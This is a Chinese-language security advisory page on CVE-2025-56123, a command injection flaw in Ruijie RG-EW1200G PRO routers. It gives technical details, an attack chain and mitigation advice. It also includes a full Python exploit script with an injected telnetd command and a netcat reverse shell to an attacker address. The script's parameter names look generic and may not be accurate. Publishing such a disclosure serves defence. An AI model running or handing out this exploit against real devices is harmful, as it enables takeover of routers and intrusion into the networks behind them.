IPBUF安全漏洞报告
English
CVE-2025-56123 CVSS 8.8 高危

CVE-2025-56123 锐捷RG-EW1200G PRO路由器命令注入漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-56123
漏洞类型
OS命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ruijie RG-EW1200G PRO (V1.00/V2.00/V300/V4.00)

相关标签

CVE-2025-56123OS命令注入锐捷RuijieRG-EW1200G PRO路由器漏洞命令注入高危漏洞Web安全IoT漏洞

漏洞概述

CVE-2025-56123是锐捷网络(Ruijie)RG-EW1200G PRO路由器中存在的一个严重的操作系统命令注入漏洞。该漏洞存在于Web管理界面的networkConnect.lua文件中的module_get功能点。攻击者可以通过构造恶意的POST请求,在未经充分安全验证的情况下注入并执行任意操作系统命令。由于该漏洞的CVSS评分达到8.8分,属于高危级别,且攻击复杂度低、不需要高权限即可实施攻击,因此对使用该设备的用户构成严重安全威胁。攻击者成功利用此漏洞可以完全控制受影响设备,执行任意命令、窃取敏感信息、植入后门或进一步渗透内网。该漏洞影响锐捷RG-EW1200G PRO多个固件版本,建议用户立即采取防护措施。

技术细节

该漏洞的根本原因在于锐捷RG-EW1200G PRO路由器的Web管理功能对用户输入缺乏充分的输入验证和安全的命令执行机制。漏洞位于文件/usr/local/lua/dev_sta/networkConnect.lua中的module_get功能。攻击者可以通过向该功能点发送精心构造的POST请求,在请求参数中注入操作系统命令。由于应用程序直接将用户输入拼接到系统命令中执行,而没有对特殊字符进行过滤或使用安全的API,攻击者可以利用分号、反引号、管道符等命令连接符注入额外命令。攻击者通常利用此漏洞执行shell命令,如启动telnet服务、添加后门账户、下载恶意脚本等。由于该接口通常需要低权限认证即可访问,攻击门槛相对较低。攻击成功后,攻击者可以获得设备的完全控制权。

攻击链分析

STEP 1
侦察阶段
攻击者扫描互联网或内网中暴露的锐捷RG-EW1200G PRO路由器Web管理界面,通常通过端口扫描(80/443端口)识别目标设备
STEP 2
认证阶段
攻击者使用低权限凭证(如默认用户名密码或弱密码)登录Web管理界面,获取基本的访问权限
STEP 3
漏洞探测
攻击者识别/dev_sta/networkConnect.lua中的module_get功能点,构造测试请求验证命令注入漏洞的存在
STEP 4
恶意载荷注入
攻击者构造包含OS命令的恶意POST请求,通过分号、管道符等命令连接符在module_get参数中注入任意系统命令
STEP 5
命令执行
服务器将用户输入拼接到系统命令中执行,攻击者注入的命令以root权限在设备上运行
STEP 6
持久化控制
攻击者可以启动telnet服务、添加后门账户、植入webshell或建立反向shell连接,确保对设备的持久控制
STEP 7
横向移动
攻击者利用已控设备作为跳板,进一步渗透内网其他系统或窃取网络敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-56123 PoC - Ruijie RG-EW1200G PRO OS Command Injection Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-56123 """ import requests import sys def exploit(target_ip, target_port=80, attacker_ip="ATTACKER_IP", attacker_port=4444): """ Exploit the command injection vulnerability in Ruijie RG-EW1200G PRO Args: target_ip: Target router IP address target_port: Target router web port (default: 80) attacker_ip: Attacker IP for reverse shell attacker_port: Attacker port for reverse shell """ # Target URL for the vulnerable endpoint url = f"http://{target_ip}:{target_port}/cgi-bin/dev_sta/networkConnect.lua" # Payload to inject OS command - starts telnet service # The vulnerability is in the module_get function in networkConnect.lua # User input is directly concatenated into system commands without sanitization # Example payloads: # 1. Start telnet service # 2. Reverse shell connection # 3. Execute arbitrary commands # Payload 1: Enable telnet telnet_payload = ";telnetd -l /bin/sh &" # Payload 2: Reverse shell reverse_shell_payload = f";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {attacker_ip} {attacker_port} >/tmp/f &" # Construct the malicious POST request # The vulnerable parameter in module_get function data = { "module": "get", "param": telnet_payload # Inject malicious command } print(f"[*] Targeting: {url}") print(f"[*] Injecting payload: {telnet_payload}") try: # Send the malicious POST request response = requests.post(url, data=data, timeout=10) print(f"[+] Request sent - Status code: {response.status_code}") print(f"[*] Response length: {len(response.text)} bytes") # Payload 2: Reverse shell print(f"\n[*] Attempting reverse shell to {attacker_ip}:{attacker_port}") data["param"] = reverse_shell_payload response = requests.post(url, data=data, timeout=10) print(f"[+] Reverse shell payload sent") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-56123.py <target_ip> [port] [attacker_ip] [attacker_port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 attacker_ip = sys.argv[3] if len(sys.argv) > 3 else "ATTACKER_IP" attacker_port = sys.argv[4] if len(sys.argv) > 4 else "4444" exploit(target, port, attacker_ip, attacker_port)

影响范围

Ruijie RG-EW1200G PRO V1.00
Ruijie RG-EW1200G PRO V2.00
Ruijie RG-EW1200G PRO V3.00
Ruijie RG-EW1200G PRO V4.00

防御指南

临时缓解措施
立即采取以下临时缓解措施:1)禁用路由器的远程管理功能,将Web管理界面限制在本地局域网内访问;2)修改所有默认管理账户密码为强密码;3)在网络边界防火墙上阻断对路由器80/443端口的外部访问;4)监控设备日志,查找异常的POST请求模式;5)如果可能,启用设备的访问控制列表(ACL)功能限制管理接口的访问来源;6)考虑使用VPN连接后再访问管理界面;7)暂时禁用不必要的网络服务,减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表